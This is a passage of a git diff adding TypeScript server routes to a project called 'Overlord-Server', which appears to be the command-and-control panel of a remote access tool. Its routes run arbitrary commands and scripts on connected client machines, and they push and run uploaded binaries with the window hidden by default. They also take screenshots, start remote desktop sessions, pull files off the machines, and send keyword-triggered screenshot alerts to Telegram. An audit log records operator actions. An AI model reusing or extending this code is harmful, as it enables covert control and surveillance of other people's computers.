"application/octet-stream", + "Content-Disposition": `attachment; filename="${fileName}"`, + }, + }); + } + + return new Response("Not found", { status: 404 }); + } catch (error) { + if (error instanceof Response) { + return error; + } + logger.error("[build] API error:", error); + return Response.json({ error: "Internal server error" }, { status: 500 }); + } +} diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts new file mode 100644 index 0000000..bbfc04b --- /dev/null +++ b/Overlord-Server/src/server/routes/client-routes.ts @@ -0,0 +1,314 @@ +import { v4 as uuidv4 } from "uuid"; +import { authenticateRequest } from "../../auth"; +import { AuditAction, logAudit } from "../../auditLog"; +import * as clientManager from "../../clientManager"; +import { + banIp, + deleteClientRow, + getClientIp, + listClients, + setOnlineState, +} from "../../db"; +import { metrics } from "../../metrics"; +import { encodeMessage } from "../../protocol"; +import { requirePermission } from "../../rbac"; + +type RequestIpProvider = { + requestIP: (req: Request) => { address?: string } | null | undefined; +}; + +type PendingScript = { + resolve: (result: any) => void; + reject: (error: any) => void; + timeout: NodeJS.Timeout; +}; + +type ClientRouteDeps = { + CORS_HEADERS: Record; + pendingScripts: Map; +}; + +export async function handleClientRoutes( + req: Request, + url: URL, + server: RequestIpProvider, + deps: ClientRouteDeps, +): Promise { + if ( + !url.pathname.startsWith("/api/clients") && + !url.pathname.match(/^\/api\/clients\/.+\/command$/) + ) { + return null; + } + + if (url.pathname === "/api/clients") { + if (!(await authenticateRequest(req))) { + return new Response("Unauthorized", { status: 401 }); + } + const page = Math.max(1, Number(url.searchParams.get("page") || 1)); + const pageSize = Math.max(1, Number(url.searchParams.get("pageSize") || 12)); + const search = (url.searchParams.get("q") || "").toLowerCase().trim(); + const sort = url.searchParams.get("sort") || "last_seen_desc"; + const statusFilter = url.searchParams.get("status") || "all"; + const osFilter = url.searchParams.get("os") || "all"; + const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter }); + return Response.json(result, { headers: deps.CORS_HEADERS }); + } + + const banMatch = url.pathname.match(/^\/api\/clients\/(.+)\/ban$/); + if (req.method === "POST" && banMatch) { + const user = await authenticateRequest(req); + if (!user) return new Response("Unauthorized", { status: 401 }); + try { + requirePermission(user, "clients:control"); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } + + const targetId = banMatch[1]; + const target = clientManager.getClient(targetId); + const targetIp = target?.ip || getClientIp(targetId); + if (!targetIp) { + return Response.json({ error: "Client IP not found" }, { status: 404 }); + } + + banIp(targetIp, `Banned by ${user.username} for client ${targetId}`); + + if (target) { + try { + target.ws.close(4003, "banned"); + } catch {} + setOnlineState(targetId, false); + } + + const ip = server.requestIP(req)?.address || "unknown"; + logAudit({ + timestamp: Date.now(), + username: user.username, + ip, + action: AuditAction.COMMAND, + targetClientId: targetId, + details: `Banned IP ${targetIp}`, + success: true, + }); + + return Response.json({ ok: true, ip: targetIp }); + } + + const thumbnailMatch = url.pathname.match(/^\/api\/clients\/(.+)\/thumbnail$/); + if (req.method === "POST" && thumbnailMatch) { + if (!(await authenticateRequest(req))) { + return new Response("Unauthorized", { status: 401 }); + } + const clientId = thumbnailMatch[1]; + const { generateThumbnail, markThumbnailRequested } = await import("../../thumbnails"); + markThumbnailRequested(clientId); + const target = clientManager.getClient(clientId); + if (target?.online) { + const commandId = uuidv4(); + target.ws.send( + encodeMessage({ + type: "command", + commandType: "screenshot", + id: commandId, + payload: { mode: "notification", allDisplays: true }, + }), + ); + metrics.recordCommand("screenshot"); + } + const success = generateThumbnail(clientId); + return Response.json({ ok: true, updated: success }, { headers: deps.CORS_HEADERS }); + } + + if (req.method === "POST") { + const cmdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/command$/); + if (cmdMatch) { + const user = await authenticateRequest(req); + if (!user) return new Response("Unauthorized", { status: 401 }); + + try { + requirePermission(user, "clients:control"); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } + + const targetId = cmdMatch[1]; + const target = clientManager.getClient(targetId); + const ip = server.requestIP(req)?.address || "unknown"; + + if (!target) return new Response("Not found", { status: 404 }); + try { + const body = await req.json(); + const action = body?.action; + + let success = true; + if (action === "ping") { + const nonce = Date.now() + Math.floor(Math.random() * 1000); + target.lastPingSent = Date.now(); + target.lastPingNonce = nonce; + target.ws.send(encodeMessage({ type: "ping", ts: nonce })); + } else if (action === "ping_bulk") { + const count = Math.max(1, Math.min(1000, Number(body?.count || 1))); + for (let i = 0; i < count; i++) { + } + } else if (action === "disconnect") { + target.ws.send(encodeMessage({ type: "command", commandType: "disconnect", id: uuidv4() })); + metrics.recordCommand("disconnect"); + logAudit({ + timestamp: Date.now(), + username: user.username, + ip, + action: AuditAction.DISCONNECT, + targetClientId: targetId, + success: true, + }); + } else if (action === "reconnect") { + target.ws.send(encodeMessage({ type: "command", commandType: "reconnect", id: uuidv4() })); + metrics.recordCommand("reconnect"); + logAudit({ + timestamp: Date.now(), + username: user.username, + ip, + action: AuditAction.RECONNECT, + targetClientId: targetId, + success: true, + }); + } else if (action === "screenshot") { + target.ws.send( + encodeMessage({ + type: "command", + commandType: "screenshot", + id: uuidv4(), + payload: { mode: "notification", allDisplays: true }, + }), + ); + metrics.recordCommand("screenshot"); + logAudit({ + timestamp: Date.now(), + username: user.username, + ip, + action: AuditAction.SCREENSHOT, + targetClientId: targetId, + success: true, + }); + } else if (action === "desktop_start") { + target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start", id: uuidv4() })); + metrics.recordCommand("desktop_start"); + } else if (action === "script_exec") { + const scriptContent = body?.script || ""; + const scriptType = body?.scriptType || "powershell"; + const cmdId = uuidv4(); + + const resultPromise = new Promise((resolve, reject) => { + const timeout = setTimeout(() => { + deps.pendingScripts.delete(cmdId); + reject(new Error("Script execution timed out after 5 minutes")); + }, 5 * 60 * 1000); + + deps.pendingScripts.set(cmdId, { resolve, reject, timeout }); + }); + + target.ws.send(encodeMessage({ + type: "command", + commandType: "script_exec", + id: cmdId, + payload: { script: scriptContent, type: scriptType }, + })); + + metrics.recordCommand("script_exec"); + logAudit({ + timestamp: Date.now(), + username: user.username, + ip, + action: AuditAction.SCRIPT_EXECUTE, + targetClientId: targetId, + success: true, + details: `script_exec (${scriptType})`, + }); + + try { + const result = await resultPromise; + return Response.json(result); + } catch (error: any) { + return Response.json({ ok: false, error: error.message }, { status: 500 }); + } + } else if (action === "silent_exec") { + if (user.role !== "admin") { + return new Response("Forbidden: Admin access required", { status: 403 }); + } + + const command = typeof body?.command === "string" ? body.command.trim() : ""; + const args = typeof body?.args === "string" ? body.args : ""; + const cwd = typeof body?.cwd === "string" ? body.cwd : ""; + + if (!command) { + return new Response("Bad request", { status: 400 }); + } + + const cmdId = uuidv4(); + target.ws.send( + encodeMessage({ + type: "command", + commandType: "silent_exec", + id: cmdId, + payload: { command, args, cwd }, + }), + ); + metrics.recordCommand("silent_exec"); + logAudit({ + timestamp: Date.now(), + username: user.username, + ip, + action: AuditAction.SILENT_EXECUTE, + targetClientId: targetId, + success: true, + details: JSON.stringify({ command, args, cwd }), + }); + } else if (action === "uninstall") { + target.ws.send(encodeMessage({ type: "command", commandType: "uninstall", id: uuidv4() })); + metrics.recordCommand("uninstall"); + deleteClientRow(targetId); + logAudit({ + timestamp: Date.now(), + username: user.username, + ip, + action: AuditAction.UNINSTALL, + targetClientId: targetId, + details: "Agent uninstall requested - persistence will be removed", + success: true, + }); + } else { + success = false; + return new Response("Bad request", { status: 400 }); + } + + logAudit({ + timestamp: Date.now(), + username: user.username, + ip, + action: AuditAction.COMMAND, + targetClientId: targetId, + details: action, + success, + }); + + return Response.json({ ok: true }); + } catch (error) { + logAudit({ + timestamp: Date.now(), + username: user.username, + ip, + action: AuditAction.COMMAND, + targetClientId: targetId, + success: false, + errorMessage: String(error), + }); + return new Response("Bad request", { status: 400 }); + } + } + } + + return null; +} diff --git a/Overlord-Server/src/server/routes/deploy-routes.ts b/Overlord-Server/src/server/routes/deploy-routes.ts new file mode 100644 index 0000000..22ff4cf --- /dev/null +++ b/Overlord-Server/src/server/routes/deploy-routes.ts @@ -0,0 +1,328 @@ +import fs from "fs/promises"; +import path from "path"; +import { v4 as uuidv4 } from "uuid"; +import { authenticateRequest } from "../../auth"; +import { AuditAction, logAudit } from "../../auditLog"; +import * as clientManager from "../../clientManager"; +import { metrics } from "../../metrics"; +import { encodeMessage } from "../../protocol"; + +type RequestIpProvider = { + requestIP: (req: Request) => { address?: string } | null | undefined; +}; + +type DeployOs = "windows" | "mac" | "linux" | "unix" | "unknown"; +type DeployUpload = { + id: string; + path: string; + name: string; + size: number; + os: DeployOs; +}; + +type DeployRouteDeps = { + DEPLOY_ROOT: string; + deployUploads: Map; + detectUploadOs: (filename: string, bytes: Uint8Array) => DeployOs; + normalizeClientOs: (os?: string) => DeployOs; +}; + +export async function handleDeployRoutes( + req: Request, + url: URL, + server: RequestIpProvider, + deps: DeployRouteDeps, +): Promise { + if (!url.pathname.startsWith("/api/deploy")) { + return null; + } + + if (req.method === "POST" && url.pathname === "/api/deploy/upload") { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + if (user.role !== "admin") { + return new Response("Forbidden: Admin access required", { status: 403 }); + } + + let form: FormData; + try { + form = await req.formData(); + } catch { + return new Response("Bad request", { status: 400 }); + } + + const file = form.get("file"); + if (!(file instanceof File)) { + return new Response("Missing file", { status: 400 }); + } + + const filename = path.basename(file.name || "upload.bin"); + const id = uuidv4(); + await fs.mkdir(deps.DEPLOY_ROOT, { recursive: true }); + const folder = path.join(deps.DEPLOY_ROOT, id); + await fs.mkdir(folder, { recursive: true }); + const targetPath = path.join(folder, filename); + const bytes = new Uint8Array(await file.arrayBuffer()); + await fs.writeFile(targetPath, bytes); + + const os = deps.detectUploadOs(filename, bytes); + const entry: DeployUpload = { + id, + path: targetPath, + name: filename, + size: bytes.length, + os, + }; + deps.deployUploads.set(id, entry); + + return Response.json({ ok: true, uploadId: id, os, name: filename, size: bytes.length }); + } + + if (req.method === "POST" && url.pathname === "/api/deploy/run") { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + if (user.role !== "admin") { + return new Response("Forbidden: Admin access required", { status: 403 }); + } + + let body: any = {}; + try { + body = await req.json(); + } catch { + return new Response("Bad request", { status: 400 }); + } + + const uploadId = typeof body?.uploadId === "string" ? body.uploadId : ""; + const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : []; + const args = typeof body?.args === "string" ? body.args : ""; + const hideWindow = body?.hideWindow !== false; + if (!uploadId || clientIds.length === 0) { + return new Response("Bad request", { status: 400 }); + } + + const upload = deps.deployUploads.get(uploadId); + if (!upload) { + return new Response("Not found", { status: 404 }); + } + + const bytes = new Uint8Array(await fs.readFile(upload.path)); + const chunkSize = 256 * 1024; + const results: Array<{ clientId: string; ok: boolean; reason?: string; command?: string }> = []; + + const formatCommandDisplay = (commandPath: string, commandArgs: string) => { + const trimmedArgs = commandArgs.trim(); + const needsQuotes = commandPath.includes(" "); + const displayCommand = needsQuotes ? `"${commandPath}"` : commandPath; + if (!trimmedArgs) { + return displayCommand; + } + return `${displayCommand} ${trimmedArgs}`; + }; + + for (const clientId of clientIds) { + const target = clientManager.getClient(clientId); + if (!target) { + results.push({ clientId, ok: false, reason: "offline" }); + continue; + } + + const clientOs = deps.normalizeClientOs(target.os); + const osMismatch = + upload.os !== "unknown" && + !( + upload.os === clientOs || + (upload.os === "unix" && (clientOs === "linux" || clientOs === "mac")) + ); + if (osMismatch) { + results.push({ clientId, ok: false, reason: "os_mismatch" }); + continue; + } + + const dir = clientOs === "windows" + ? `C:\\Windows\\Temp\\Overlord\\${upload.id}` + : `/tmp/overlord/${upload.id}`; + const destPath = clientOs === "windows" + ? `${dir}\\${upload.name}` + : `${dir}/${upload.name}`; + + target.ws.send( + encodeMessage({ + type: "command", + commandType: "file_mkdir", + id: uuidv4(), + payload: { path: dir }, + }), + ); + + for (let offset = 0; offset < bytes.length; offset += chunkSize) { + const chunk = bytes.subarray(offset, Math.min(offset + chunkSize, bytes.length)); + target.ws.send( + encodeMessage({ + type: "command", + commandType: "file_upload", + id: uuidv4(), + payload: { path: destPath, data: chunk, offset, total: bytes.length }, + }), + ); + } + + if (clientOs !== "windows") { + target.ws.send( + encodeMessage({ + type: "command", + commandType: "file_chmod", + id: uuidv4(), + payload: { path: destPath, mode: "0755" }, + }), + ); + } + + const displayCommand = formatCommandDisplay(destPath, args); + + target.ws.send( + encodeMessage({ + type: "command", + commandType: "silent_exec", + id: uuidv4(), + payload: { command: destPath, args, hideWindow }, + }), + ); + + metrics.recordCommand("silent_exec"); + logAudit({ + timestamp: Date.now(), + username: user.username, + ip: server.requestIP(req)?.address || "unknown", + action: AuditAction.SILENT_EXECUTE, + targetClientId: clientId, + success: true, + details: JSON.stringify({ uploadId, command: destPath, args }), + }); + + results.push({ clientId, ok: true, command: displayCommand }); + } + + return Response.json({ ok: true, results }); + } + + if (req.method === "POST" && url.pathname === "/api/deploy/update") { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + if (user.role !== "admin") { + return new Response("Forbidden: Admin access required", { status: 403 }); + } + + let body: any = {}; + try { + body = await req.json(); + } catch { + return new Response("Bad request", { status: 400 }); + } + + const uploadId = typeof body?.uploadId === "string" ? body.uploadId : ""; + const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : []; + if (!uploadId || clientIds.length === 0) { + return new Response("Bad request", { status: 400 }); + } + + const upload = deps.deployUploads.get(uploadId); + if (!upload) { + return new Response("Not found", { status: 404 }); + } + + const bytes = new Uint8Array(await fs.readFile(upload.path)); + const chunkSize = 256 * 1024; + const results: Array<{ clientId: string; ok: boolean; reason?: string }> = []; + + for (const clientId of clientIds) { + const target = clientManager.getClient(clientId); + if (!target) { + results.push({ clientId, ok: false, reason: "offline" }); + continue; + } + + const clientOs = deps.normalizeClientOs(target.os); + const osMismatch = + upload.os !== "unknown" && + !( + upload.os === clientOs || + (upload.os === "unix" && (clientOs === "linux" || clientOs === "mac")) + ); + if (osMismatch) { + results.push({ clientId, ok: false, reason: "os_mismatch" }); + continue; + } + + const dir = clientOs === "windows" + ? `C:\\Windows\\Temp\\Overlord\\${upload.id}` + : `/tmp/overlord/${upload.id}`; + const destPath = clientOs === "windows" + ? `${dir}\\${upload.name}` + : `${dir}/${upload.name}`; + + target.ws.send( + encodeMessage({ + type: "command", + commandType: "file_mkdir", + id: uuidv4(), + payload: { path: dir }, + }), + ); + + for (let offset = 0; offset < bytes.length; offset += chunkSize) { + const chunk = bytes.subarray(offset, Math.min(offset + chunkSize, bytes.length)); + target.ws.send( + encodeMessage({ + type: "command", + commandType: "file_upload", + id: uuidv4(), + payload: { path: destPath, data: chunk, offset, total: bytes.length }, + }), + ); + } + + if (clientOs !== "windows") { + target.ws.send( + encodeMessage({ + type: "command", + commandType: "file_chmod", + id: uuidv4(), + payload: { path: destPath, mode: "0755" }, + }), + ); + } + + target.ws.send( + encodeMessage({ + type: "command", + commandType: "agent_update", + id: uuidv4(), + payload: { path: destPath }, + }), + ); + + metrics.recordCommand("agent_update"); + logAudit({ + timestamp: Date.now(), + username: user.username, + ip: server.requestIP(req)?.address || "unknown", + action: AuditAction.AGENT_UPDATE, + targetClientId: clientId, + success: true, + details: JSON.stringify({ uploadId, path: destPath }), + }); + + results.push({ clientId, ok: true }); + } + + return Response.json({ ok: true, results }); + } + + return null; +} diff --git a/Overlord-Server/src/server/routes/file-download-routes.ts b/Overlord-Server/src/server/routes/file-download-routes.ts new file mode 100644 index 0000000..70d992e --- /dev/null +++ b/Overlord-Server/src/server/routes/file-download-routes.ts @@ -0,0 +1,270 @@ +import fs from "fs/promises"; +import path from "path"; +import { v4 as uuidv4 } from "uuid"; +import { authenticateRequest } from "../../auth"; +import { AuditAction, logAudit } from "../../auditLog"; +import * as clientManager from "../../clientManager"; +import { logger } from "../../logger"; +import { encodeMessage } from "../../protocol"; + +type RequestIpProvider = { + requestIP: (req: Request) => { address?: string } | null | undefined; +}; + +type PendingHttpDownload = { + commandId: string; + clientId: string; + path: string; + fileName: string; + total: number; + receivedBytes: number; + receivedOffsets: Set; + receivedChunks: Set; + chunkSize: number; + expectedChunks: number; + loggedTotal?: boolean; + loggedFirstChunk?: boolean; + tmpPath: string; + fileHandle: any; + resolve: (entry: PendingHttpDownload) => void; + reject: (error: Error) => void; + timeout: ReturnType; +}; + +type DownloadIntent = { + id: string; + userId: string; + clientId: string; + path: string; + expiresAt: number; + timeout: ReturnType; +}; + +type FileDownloadRouteDeps = { + DATA_DIR: string; + secureHeaders: (contentType?: string) => Record; + sanitizeOutputName: (name: string) => string; + pendingHttpDownloads: Map; + downloadIntents: Map; +}; + +export async function handleFileDownloadRoutes( + req: Request, + url: URL, + server: RequestIpProvider, + deps: FileDownloadRouteDeps, +): Promise { + if (!url.pathname.startsWith("/api/file/download")) { + return null; + } + + if (req.method === "POST" && url.pathname === "/api/file/download") { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + if (user.role !== "admin" && user.role !== "operator") { + return new Response("Forbidden: Admin or operator access required", { status: 403 }); + } + + let body: any = {}; + try { + body = await req.json(); + } catch { + return new Response("Bad request", { status: 400 }); + } + + const downloadId = typeof body?.downloadId === "string" ? body.downloadId : ""; + logger.debug("[filebrowser] http download request", { + downloadId, + userId: user.userId, + ip: server.requestIP(req)?.address || "unknown", + }); + if (!downloadId) { + return new Response("Bad request", { status: 400 }); + } + + const intent = deps.downloadIntents.get(downloadId); + if (!intent || intent.userId !== user.userId || intent.expiresAt < Date.now()) { + logger.debug("[filebrowser] http download intent missing", { + downloadId, + userId: user.userId, + intentUserId: intent?.userId, + expiresAt: intent?.expiresAt, + }); + return new Response("Not found", { status: 404 }); + } + + deps.downloadIntents.delete(downloadId); + clearTimeout(intent.timeout); + + const clientId = intent.clientId; + const downloadPath = intent.path; + + const target = clientManager.getClient(clientId); + if (!target) { + logger.debug("[filebrowser] http download target offline", { + downloadId, + clientId, + }); + return new Response("Client offline", { status: 404 }); + } + + const commandId = uuidv4(); + const downloadDir = path.join(deps.DATA_DIR, "downloads"); + await fs.mkdir(downloadDir, { recursive: true }); + const tmpPath = path.join(downloadDir, `${commandId}.bin`); + + let fileName = path.basename(downloadPath) || "download.bin"; + try { + fileName = deps.sanitizeOutputName(fileName); + } catch { + fileName = "download.bin"; + } + + const fileHandle = await fs.open(tmpPath, "w+"); + + logger.debug("[filebrowser] http download start", { + commandId, + clientId, + path: downloadPath, + tmpPath, + }); + + const downloadPromise = new Promise((resolve, reject) => { + const timeout = setTimeout(() => { + deps.pendingHttpDownloads.delete(commandId); + void fileHandle.close(); + void fs.unlink(tmpPath).catch(() => {}); + reject(new Error("Download timed out")); + }, 5 * 60_000); + + deps.pendingHttpDownloads.set(commandId, { + commandId, + clientId, + path: downloadPath, + fileName, + total: 0, + receivedBytes: 0, + receivedOffsets: new Set(), + receivedChunks: new Set(), + chunkSize: 0, + expectedChunks: 0, + loggedTotal: false, + loggedFirstChunk: false, + tmpPath, + fileHandle, + resolve, + reject, + timeout, + }); + }); + + target.ws.send( + encodeMessage({ + type: "command", + commandType: "file_download", + id: commandId, + payload: { path: downloadPath }, + }), + ); + + logger.debug("[filebrowser] http download command sent", { + commandId, + clientId, + path: downloadPath, + }); + + logAudit({ + timestamp: Date.now(), + username: user.username, + ip: server.requestIP(req)?.address || "unknown", + action: AuditAction.FILE_DOWNLOAD, + targetClientId: clientId, + details: JSON.stringify({ path: downloadPath, via: "http" }), + success: true, + }); + + let completed: PendingHttpDownload; + try { + completed = await downloadPromise; + } catch (err) { + logger.debug("[filebrowser] http download failed", { + commandId, + clientId, + path: downloadPath, + error: (err as Error)?.message || String(err), + }); + return new Response((err as Error).message || "Download failed", { status: 500 }); + } + + logger.debug("[filebrowser] http download complete", { + commandId, + clientId, + path: downloadPath, + total: completed.total, + receivedBytes: completed.receivedBytes, + expectedChunks: completed.expectedChunks, + receivedChunks: completed.receivedChunks.size, + }); + + const headers = { + ...deps.secureHeaders("application/octet-stream"), + "Content-Disposition": `attachment; filename="${completed.fileName}"`, + "Cache-Control": "no-store", + }; + + setTimeout(() => { + void fs.unlink(completed.tmpPath).catch(() => {}); + }, 5 * 60_000); + + return new Response(Bun.file(completed.tmpPath), { headers }); + } + + if (req.method === "POST" && url.pathname === "/api/file/download/request") { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + if (user.role !== "admin" && user.role !== "operator") { + return new Response("Forbidden: Admin or operator access required", { status: 403 }); + } + + let body: any = {}; + try { + body = await req.json(); + } catch { + return new Response("Bad request", { status: 400 }); + } + + const clientId = typeof body?.clientId === "string" ? body.clientId : ""; + const downloadPath = typeof body?.path === "string" ? body.path : ""; + if (!clientId || !downloadPath) { + return new Response("Bad request", { status: 400 }); + } + + const target = clientManager.getClient(clientId); + if (!target) { + return new Response("Client offline", { status: 404 }); + } + + const downloadId = uuidv4(); + const expiresAt = Date.now() + 2 * 60_000; + const timeout = setTimeout(() => { + deps.downloadIntents.delete(downloadId); + }, 2 * 60_000); + + deps.downloadIntents.set(downloadId, { + id: downloadId, + userId: user.userId, + clientId, + path: downloadPath, + expiresAt, + timeout, + }); + + return Response.json({ ok: true, downloadId }); + } + + return null; +} diff --git a/Overlord-Server/src/server/routes/misc-routes.ts b/Overlord-Server/src/server/routes/misc-routes.ts new file mode 100644 index 0000000..92fe671 --- /dev/null +++ b/Overlord-Server/src/server/routes/misc-routes.ts @@ -0,0 +1,138 @@ +import { authenticateRequest } from "../../auth"; +import * as clientManager from "../../clientManager"; +import { getAuditLogs } from "../../auditLog"; +import { listClients } from "../../db"; +import { logger } from "../../logger"; +import { metrics } from "../../metrics"; +import { requirePermission } from "../../rbac"; + +type MiscRouteDeps = { + CORS_HEADERS: Record; + SERVER_VERSION: string; + getConsoleSessionCount: () => number; + getRdSessionCount: () => number; + getFileBrowserSessionCount: () => number; + getProcessSessionCount: () => number; +}; + +export async function handleMiscRoutes( + req: Request, + url: URL, + deps: MiscRouteDeps, +): Promise { + if (req.method === "GET" && url.pathname === "/api/metrics") { + const user = await authenticateRequest(req); + if (!user) { + return new Response(JSON.stringify({ error: "Not authenticated" }), { + status: 401, + headers: { "Content-Type": "application/json" }, + }); + } + + const snapshot = metrics.getSnapshot(); + + const clientList = listClients({ page: 1, pageSize: 10000, search: "", sort: "last_seen_desc" }); + logger.debug( + `[metrics] Database reports: total=${clientList.total}, online=${clientList.online}, items=${clientList.items.length}`, + ); + logger.debug(`[metrics] In-memory clients map size: ${clientManager.getClientCount()}`); + + snapshot.clients.total = clientList.total; + snapshot.clients.online = clientList.online; + snapshot.clients.offline = clientList.total - clientList.online; + + const byOS: Record = {}; + const byCountry: Record = {}; + const byOSOnline: Record = {}; + const byCountryOnline: Record = {}; + let onlineCounted = 0; + const totalItems = clientList.items.length; + for (const item of clientList.items) { + if (item.os) { + byOS[item.os] = (byOS[item.os] || 0) + 1; + } + if (item.country) { + byCountry[item.country] = (byCountry[item.country] || 0) + 1; + } + if (!item.online) continue; + onlineCounted++; + if (item.os) { + byOSOnline[item.os] = (byOSOnline[item.os] || 0) + 1; + } + if (item.country) { + byCountryOnline[item.country] = (byCountryOnline[item.country] || 0) + 1; + } + } + snapshot.clients.byOS = byOS; + snapshot.clients.byCountry = byCountry; + + snapshot.sessions.console = deps.getConsoleSessionCount(); + snapshot.sessions.remoteDesktop = deps.getRdSessionCount(); + snapshot.sessions.fileBrowser = deps.getFileBrowserSessionCount(); + snapshot.sessions.process = deps.getProcessSessionCount(); + + metrics.recordHistoryEntry(snapshot); + + const history = metrics.getHistory(); + + return new Response(JSON.stringify({ snapshot, history }), { + headers: { "Content-Type": "application/json" }, + }); + } + + if (url.pathname === "/health") { + return new Response("ok", { headers: deps.CORS_HEADERS }); + } + + if (req.method === "GET" && url.pathname === "/api/version") { + return new Response(JSON.stringify({ version: deps.SERVER_VERSION }), { + headers: { + ...deps.CORS_HEADERS, + "Content-Type": "application/json", + }, + }); + } + + if (req.method === "GET" && url.pathname === "/api/audit-logs") { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + try { + requirePermission(user, "audit:view"); + } catch (error) { + if (error instanceof Response) return error; + return new Response("Forbidden", { status: 403 }); + } + + const page = Math.max(1, Number(url.searchParams.get("page") || 1)); + const pageSize = Math.max(1, Math.min(100, Number(url.searchParams.get("pageSize") || 50))); + const targetClientId = (url.searchParams.get("clientId") || "").trim(); + const action = (url.searchParams.get("action") || "").trim(); + const actionsRaw = (url.searchParams.get("actions") || "").trim(); + const actions = actionsRaw + ? actionsRaw + .split(",") + .map((entry) => entry.trim()) + .filter(Boolean) + : undefined; + const startDate = Number(url.searchParams.get("startDate") || 0) || undefined; + const endDate = Number(url.searchParams.get("endDate") || 0) || undefined; + const successOnly = url.searchParams.get("successOnly") === "true"; + + const result = getAuditLogs({ + page, + pageSize, + targetClientId: targetClientId || undefined, + action: action || undefined, + actions, + startDate, + endDate, + successOnly, + }); + + return Response.json(result, { headers: deps.CORS_HEADERS }); + } + + return null; +} diff --git a/Overlord-Server/src/server/routes/notifications-config-routes.ts b/Overlord-Server/src/server/routes/notifications-config-routes.ts new file mode 100644 index 0000000..b9c3b4d --- /dev/null +++ b/Overlord-Server/src/server/routes/notifications-config-routes.ts @@ -0,0 +1,164 @@ +import { authenticateRequest } from "../../auth"; +import { AuditAction, logAudit } from "../../auditLog"; +import * as clientManager from "../../clientManager"; +import { getConfig, updateNotificationsConfig } from "../../config"; +import { encodeMessage } from "../../protocol"; + +type RequestIpProvider = { + requestIP: (req: Request) => { address?: string } | null | undefined; +}; + +type NotificationsRouteDeps = { + getNotificationScreenshot: (notificationId: string) => { format?: string; bytes: Uint8Array } | null; + secureHeaders: (contentType?: string) => HeadersInit; +}; + +export async function handleNotificationsConfigRoutes( + req: Request, + url: URL, + server: RequestIpProvider, + deps: NotificationsRouteDeps, +): Promise { + const screenshotMatch = url.pathname.match(/^\/api\/notifications\/([^/]+)\/screenshot$/); + if (req.method === "GET" && screenshotMatch) { + const user = await authenticateRequest(req); + if (!user) { + return new Response(JSON.stringify({ error: "Not authenticated" }), { + status: 401, + headers: { "Content-Type": "application/json" }, + }); + } + const notificationId = decodeURIComponent(screenshotMatch[1]); + const screenshot = deps.getNotificationScreenshot(notificationId); + if (!screenshot) { + return new Response("Not found", { status: 404 }); + } + + const format = (screenshot.format || "jpeg").toLowerCase(); + const contentType = format === "jpg" || format === "jpeg" + ? "image/jpeg" + : format === "png" + ? "image/png" + : format === "webp" + ? "image/webp" + : "application/octet-stream"; + + return new Response(screenshot.bytes as unknown as BodyInit, { + headers: deps.secureHeaders(contentType), + }); + } + + if (req.method === "GET" && url.pathname === "/api/notifications/config") { + const user = await authenticateRequest(req); + if (!user) { + return new Response(JSON.stringify({ error: "Not authenticated" }), { + status: 401, + headers: { "Content-Type": "application/json" }, + }); + } + if (user.role === "viewer") { + return new Response("Forbidden: Viewer access denied", { status: 403 }); + } + return Response.json({ notifications: getConfig().notifications }); + } + + if (req.method === "PUT" && url.pathname === "/api/notifications/config") { + const user = await authenticateRequest(req); + if (!user) { + return new Response(JSON.stringify({ error: "Not authenticated" }), { + status: 401, + headers: { "Content-Type": "application/json" }, + }); + } + if (user.role !== "admin" && user.role !== "operator") { + return new Response("Forbidden: Admin or operator access required", { + status: 403, + }); + } + + let body: any = {}; + try { + body = await req.json(); + } catch { + return Response.json({ error: "Invalid JSON" }, { status: 400 }); + } + + const currentConfig = getConfig().notifications; + const hasKeywords = Array.isArray(body?.keywords); + const rawKeywords = hasKeywords ? body.keywords : currentConfig.keywords || []; + const keywords = rawKeywords + .map((k: any) => String(k).trim()) + .filter(Boolean) + .slice(0, 200); + + const webhookEnabled = + typeof body?.webhookEnabled === "boolean" + ? body.webhookEnabled + : currentConfig.webhookEnabled; + const webhookUrl = + typeof body?.webhookUrl === "string" + ? body.webhookUrl.trim() + : currentConfig.webhookUrl || ""; + const telegramEnabled = + typeof body?.telegramEnabled === "boolean" + ? body.telegramEnabled + : currentConfig.telegramEnabled; + const telegramBotToken = + typeof body?.telegramBotToken === "string" + ? body.telegramBotToken.trim() + : currentConfig.telegramBotToken || ""; + const telegramChatId = + typeof body?.telegramChatId === "string" + ? body.telegramChatId.trim() + : currentConfig.telegramChatId || ""; + + if (webhookUrl) { + try { + const parsed = new URL(webhookUrl); + if (!/^https?:$/.test(parsed.protocol)) { + return Response.json( + { error: "Webhook URL must be http(s)" }, + { status: 400 }, + ); + } + } catch { + return Response.json({ error: "Invalid webhook URL" }, { status: 400 }); + } + } + + const updated = await updateNotificationsConfig({ + keywords, + webhookEnabled, + webhookUrl, + telegramEnabled, + telegramBotToken, + telegramChatId, + }); + + for (const client of clientManager.getAllClients().values()) { + if (client.role !== "client") continue; + try { + client.ws.send( + encodeMessage({ + type: "notification_config", + keywords: updated.keywords || [], + minIntervalMs: updated.minIntervalMs || 8000, + }), + ); + } catch {} + } + + logAudit({ + timestamp: Date.now(), + username: user.username, + ip: server.requestIP(req)?.address || "unknown", + action: AuditAction.COMMAND, + details: `Updated notification keywords (${updated.keywords.length})`, + success: true, + }); + + return Response.json({ ok: true, notifications: updated }); + } + + return null; +} diff --git a/Overlord-Server/src/server/routes/page-routes.ts b/Overlord-Server/src/server/routes/page-routes.ts new file mode 100644 index 0000000..384d7db --- /dev/null +++ b/Overlord-Server/src/server/routes/page-routes.ts @@ -0,0 +1,316 @@ +import { authenticateRequest } from "../../auth"; +import { requirePermission } from "../../rbac"; +import { getUserById } from "../../users"; + +type PageRouteDeps = { + 